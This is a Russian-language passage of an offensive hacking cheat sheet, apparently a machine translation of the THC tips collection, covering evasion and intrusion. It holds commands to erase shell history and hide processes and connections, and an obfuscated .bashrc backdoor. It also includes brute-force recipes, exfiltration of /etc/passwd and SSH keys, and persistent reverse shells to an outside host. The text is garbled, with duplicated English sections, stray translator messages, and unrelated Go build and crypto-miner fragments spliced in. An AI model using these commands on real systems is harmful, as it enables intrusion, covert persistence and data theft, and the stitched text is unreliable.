Альтернативный URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell делает гораздо больше, но самое главное — вот что:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Бонусный совет:
Любая команда, начинающаяся с « » (пробела), также [не попадает в историю](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

Запустите фоновый 'nmap', скрытый как '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

В качестве альтернативы скопируйте бинарный файл под новым именем:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. Скрывайте параметры командной строки**

Используйте [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. Скрыть сетевое соединение**

Трюк заключается в том, чтобы перехватить `netstat` и использовать grep для фильтрации нашего соединения. Этот пример отфильтрует любое соединение на порту 31337 _или_ ip 1.2.3.4. То же самое следует сделать и для `ss` (альтернативы netstat).

**Метод 1 — Скрытие соединения с помощью bash-функции в ~/.bashrc**

Скопируйте и вставьте это, чтобы добавить строку в ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Обфусцированная запись в ~/.bashrc будет выглядеть так:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(спасибо iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Скрытие процесса как пользователь**

Продолжая тему «Скрытие соединения», тот же метод можно использовать для скрытия процесса. Этот пример скрывает процесс nmap, а также заботится о том, чтобы наш `grep` не отображался в списке процессов, переименовывая его в GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Чтобы скрыть команду, используйте:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(The same works for `lsof`, `ss` and `ls`)

<a id="cat"></a>
**1.viii. Hide from cat**

ANSI escape characters or a simple `\r` ([carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) can be used to hide from `cat` and others.

Hide the last command (example: `id`) in `~/.bashrc`:

(То же самое работает для `lsof`, `ss` и `ls`)

<a id="cat"></a>
**1.viii. Скрытие от cat**

Управляющие ANSI-символы или простой `\r` ([возврат каретки](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) можно использовать, чтобы скрыться от `cat` и других.

Скройте последнюю команду (например: `id`) в `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Добавление `\r` (возврат каретки) очень помогает скрыть ваш ssh-ключ от `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` используется для замены базовой оболочки последним процессом (nmap). Это необязательно, но уменьшает количество работающих/бесполезных бинарников оболочки.
- `${SLOT}` содержит значение от 0 до 19. Это «номер задачи». Мы используем его для записи результатов nmap в 20 отдельных файлов.

Запустите [Linpeas](https://github.com/carlospolop/PEASS-ng) на всех хостах [gsocket](https://www.gsocket.io/deploy), используя 40 воркеров:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

Полный комфорт с PTY и цветами: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

Создавайте дополнительные shell-сессии, используя то же (единственное) Master-TCP-соединение, указанное выше (пароль/авторизация не требуются):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Теперь вы или кто-либо ещё можете подключиться к вашему компьютеру на порту 31337, и трафик будет туннелирован на 1.2.3.4 порт 80, при этом источник будет отображаться как IP-адрес 'server.org'. Альтернативный вариант, не требующий сервера, — использовать [gs-netcat](#backdoor-network).

Опытные хакеры используют комбинацию клавиш `~C`, чтобы динамически создавать такие туннели без переподключения SSH. (спасибо MessedeDegod).

Мы используем это, чтобы дать другу доступ к внутренней машине, которая не находится в публичном интернете:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Теперь настройте браузер на использование SOCKS с 127.0.0.1:1080. Весь ваш трафик теперь туннелируется через *server.org* и будет иметь исходный IP-адрес *server.org*. Альтернатива, не требующая сервера, — использовать [gs-netcat](#backdoor-network).

Это обратный вариант приведенного выше примера. Это даёт другим доступ к вашей *локальной* сети или позволяет другим использовать ваш компьютер в качестве конечной точки туннеля.```sh
ssh -g -R 1080 [email protected]

Затем используйте эту команду из любой другой точки мира, чтобы подключиться как 'root' к 'foobarblahblub' (хосту за NAT):```sh
ssh -J [email protected] root@foobarblahblub

> Мы не выполняем `ssh` ни на одном компьютере, кроме нашего доверенного рабочего места — и вам не следует (никогда).

В этом помогает ProxyJump: мы можем «перепрыгивать» через два промежуточных сервера $C2 и $internal-jumphost (не запуская оболочку на этих серверах). SSH-соединение зашифровано сквозным шифрованием между нашими $local-kali и $target-host, и ни пароль, ни ключ не раскрываются ни $C2, ни $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

Входные данные отсутствуют. Пожалуйста, предоставьте текст фрагмента для перевода.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

## ⚙️ Сборка из исходников

### Предварительные требования

Перед сборкой убедитесь, что у вас установлено следующее:

*   **Go** (версия 1.21 или новее) — [скачать](https://golang.org/dl/)
*   **Git** — [скачать](https://git-scm.com/downloads)
*   **Make** (опционально, для использования прилагаемого Makefile)

### 1. Клонирование репозитория

```bash
git clone https://github.com/your-org/your-repo.git
cd your-repo

make build

go build -o bin/myapp ./cmd/myapp

./bin/myapp

---
<a id="ports"></a>
**3.iii.a Сырые обратные TCP-порты**

Полезно для обратных бэкдоров, которым нужен TCP-порт на публичном IP-адресе:

Используя [segfault.net](https://thc.org/segfault.net) (бесплатно):```sh
# Request a random public TCP port:
curl sf/port
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
nc -vnlp $(cat /config/self/reverse_port)

используя [serveo.net](https://serveo.net) (бесплатно):```sh
# Forward a random public TCP port to localhost:31337
ssh -R 0:localhost:31337 [email protected]

См. также [remote.moe](#revese-shell-remote-moe) (бесплатно) для проброса сырого TCP с целевой машины на вашу рабочую станцию или [playit](https://playit.gg/) (бесплатно) или [ngrok](https://ngrok.com/) (платная подписка) для проброса открытого публичного TCP-порта.

Другие бесплатные сервисы ограничены пробросом только HTTPS (не сырого TCP). Некоторые приёмы ниже показывают, как туннелировать сырой TCP через HTTPS-пробросы (с использованием веб-сокетов).

---
<a id="https"></a>
**3.iii.b Обратные HTTPS-туннели**

На сервере используйте любой из этих трёх HTTPS-туннелирующих сервисов:```sh
### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using remote.moe
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using cloudflared
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate

```sh
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

Перенаправьте порт 2222 на порт 22 сервера.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

Ещё: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) и [Туннель через Cloudflare к любому TCP-сервису](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) и [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Проброс трафика с помощью iptables**

Выполняйте проброс через хост/маршрутизатор без необходимости запускать прокси или форвардер в пользовательском пространстве:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

Мы используем этот трюк, чтобы добраться до gsocket-relay-network (или TOR) из глубоко защищённых файрволами сетей.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

Это также работает в сочетании с:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Подключит ваш ROOT-сервер к ЦЕЛЕВОЙ СЕТИ, используя Ghost IP внутри целевой сети.
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Как выше, но менее безопасно.

---
<a id="tunnel-more"></a>
**3.vi.d Различные туннельные трюки**

### Туннелирование через CDN
 * Прочитайте [Как туннелировать любой TCP-сервис через CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) или используйте [DarkFlare](https://github.com/doxx/darkflare).

### Подключите ваш хост напрямую к удалённой сети
 * [WireTap](https://github.com/sandialabs/wiretap) - Работает от пользователя или root. Использует UDP в качестве транспорта. ([Попробуйте](https://thc.org/segfault/wireguard) на segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Использует TCP в качестве транспорта. Отлично работает через [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) или gs-netcat.

### Использование SSH в качестве дешёвого обратного прокси через Cloudflare

Этот метод похож на [HTTPS-обратные туннели](#https), но использует SSH вместо Gost или websocat.
- Преимущество: Использует только *cloudflared* и *SSH* на целевой системе.
- Недостаток: Требуется подписка CF.

 1. Перейдите в свою панель CF -> Zero Trust -> Networks -> Tunnels
 2. Создайте новый туннель 'Cloudflared' с любым именем.
 3. Выберите Debian & 64-bit. Токен показан не полностью. Извлеките "Token", скопировав затенённую область в отдельный документ, чтобы увидеть весь токен (длинные шестнадцатеричные строки после `sudo cloudflared service install <TunnelTokenHere>`).
 4. Добавьте поддомен (в примере используется `ssh.team-teso.net`).
 5. Установите Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

## Сравнение с графовыми базами данных```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

На вашей рабочей станции:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### Использование GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

Получите информацию о геолокации любого IP-адреса:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Проверьте, работает ли TOR:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. Проверка/сканирование открытых портов на IP**

[Censys](https://search.censys.io/) или [Shodan](https://internetdb.shodan.io) — сервис поиска портов:```shell
curl https://internetdb.shodan.io/1.1.1.1

Сканирование открытых TCP-портов:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. Взлом хэшей паролей**

 1. [NTLM2password](https://ntlm.pw/) для взлома (поиска) NTLM-паролей
 2. [wpa-sec](https://wpa-sec.stanev.org) для взлома (поиска) WPA PSK паролей

HashCat — наш основной инструмент для всего остального:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Взломайте хэши `known_hosts` OpenSSH, чтобы раскрыть IP-адрес:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(Возможно, вам стоит использовать свой [собственный EXIT-узел](https://www.thc.org/segfault/wireguard))

Инструменты:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [документация](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - отлично подходит для перебора всех SSH-ключей по целевому диапазону IP-адресов.

Списки имен пользователей и паролей:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >ЛЮБИМЕЦ THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Set **U**sername/**P**assword list and **T**arget host.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Полезные параметры **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

## Последние обновления```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

No input content was provided for translation. Please supply the chunk text.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

The input chunk is empty — there is no content to translate. Please provide the chunk text.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

I don't see any source content in the INPUT section to translate. Please provide the chunk text you'd like me to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"

[+] [01/01/1970 00:00:00] Loaded 99 rpc nodes from cache.
[+] [01/01/1970 00:00:00] Starting rpcminer v2.0.0
[+] [01/01/1970 00:00:00] Using config file: config.cfg
[+] [01/01/1970 00:00:00] Starting to mine. XMR wallet: YOUR_WALLET_HERE
[+] [01/01/1970 00:00:00] Mining on: MoneroOcean
[+] [01/01/1970 00:00:00] Connected to: 10.0.0.1:18081
[+] [01/01/1970 00:00:00] Connection #1 out of 1 live server(s).
[+] [01/01/1970 00:00:00] Submitted share #1 (pool.moneroocean.stream)
[+] [01/01/1970 00:00:00] Submitted share #2 (pool.moneroocean.stream)

RPC Miner is a developer tool that should be treated as such, and its primary purpose is to aid in the research into blockchain RPC providers.
``````shell
## Telnet
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

Please provide the Markdown content to translate.```shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run

---
<a id="exfil"></a>
## 4. Загрузка/Скачивание/Экфильтрация данных

Проще всего: наберите `exfil` на [Segfault Root Server](https://thc.org/segfault)

Или используйте curl и запустите собственный [PHP-сервер для экфильтрации](https://github.com/Rouji/single_php_filehost).

<a id="file-encoding"></a>

### 4.i Кодирование файлов

Приём для передачи файла на целевой компьютер, когда у цели нет доступа к Интернету: преобразуйте двоичный файл в ASCII-текст (base64), а затем используйте копирование и вставку. (В качестве альтернативы используйте элитную консоль gs-netcat с `Ctrl-e c`, чтобы передать файл по тому же TCP-соединению.)

Используйте `xclip` (на вашей рабочей станции), чтобы направить закодированные данные прямо в буфер обмена:```shell
base64 -w0 </etc/issue.net | xclip

<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> begin 644 issue.net-COPY  
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`  
> `  
> end
</details>```sh
## uudecode (cut & paste the 3 lines from above):
uudecode

<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
base64 -d >issue.net-COPY

<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
openssl base64 -d >issue.net-COPY

<details>
  <summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>

> 4b616c6920474e552f4c696e757820526f6c6c696e670a
</details>```sh
xxd -p -r >issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. Передача файлов - с помощью *tmux*

Запустите `tmux` на вашей рабочей станции. Подключитесь к целевой системе любым удобным способом (ssh, gs-netcat, ...).

#### С УДАЛЁННОЙ машины на ЛОКАЛЬНУЮ (скачивание)

Используйте [Tmux-Logging](#tmux) для скачивания больших файлов с целевой системы через терминал на вашу рабочую станцию.

#### С ЛОКАЛЬНОЙ машины на УДАЛЁННУЮ (загрузка)

Запустите ваш любимый инструмент декодирования (base64) на УДАЛЁННОЙ машине:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. Передача файлов — с помощью *screen*

#### С удалённого на локальный (скачивание)

Запустите *screen* на локальном компьютере и войдите в удалённую систему из этой оболочки. Укажите локальному *screen* записывать весь вывод в screen-xfer.txt:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Мы используем *openssl* для кодирования данных, но подойдёт любой из описанных выше методов кодирования. Эта команда выведет данные в кодировке base64 в терминал, а *screen* запишет эти данные в *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### С ЛОКАЛЬНОГО НА УДАЛЁННОЕ (загрузка)

На локальной системе закодируйте данные:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

Заставьте *screen* считать данные в кодировке base64 в буфер обмена screen и вставьте данные из буфера обмена в удалённую систему:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Примечание: необходимо два CTRL-d из-за [ошибки в openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Передача файлов - с помощью gs-netcat и sftp

Используйте [gs-netcat](https://github.com/hackerschoice/gsocket) и инкапсулируйте протокол sftp внутри него. Обеспечивает доступ к хостам за NAT/брандмауэром.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Или чтобы выгрузить один файл:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

Receiver: Откройте URL в любом браузере, чтобы просмотреть/скачать удалённую файловую систему.

#### 1 - Загрузка с помощью PHP:

На приёмнике:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - Загрузка с помощью PYTHON:

На принимающей стороне:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. Скачивание файла без curl

Используя Python, скачайте только:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Используя OpenSSL, скачайте только:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

Используя bash, скачайте только:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

затем загрузите файл или каталог:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Отправитель:```posh
rsync -av warez rsync://1.2.3.4:31337/up

Отправитель:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

На другом сервере:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Или смонтируйте общий ресурс WebDAV в Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

Пожалуйста, предоставьте Markdown-контент для перевода.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

После подключения [повысьте](#reverse-shell-interactive) свою оболочку до полностью интерактивной PTY-оболочки. Вместо netcat можно также использовать [pwncat-cs](https://pwncat.org/):```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

В качестве альтернативы, на удаленной системе поместите это в `~/.profile` или crontab, чтобы перезапускать connect-back shell (а также предотвращать запуск нескольких экземпляров):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

| `Version` | ...
|---|---|
| `SoftwareName` | ...```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

Вариант, если *'-e'* не поддерживается:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Вариант Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Note: Dont forget to `rm /tmp/.fio` after login.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell with remote.moe and ssh (encrypted)**

It is possible to tunnel raw TCP (e.g bash reverse shell) through [remote.moe](https://remote.moe):

On your workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
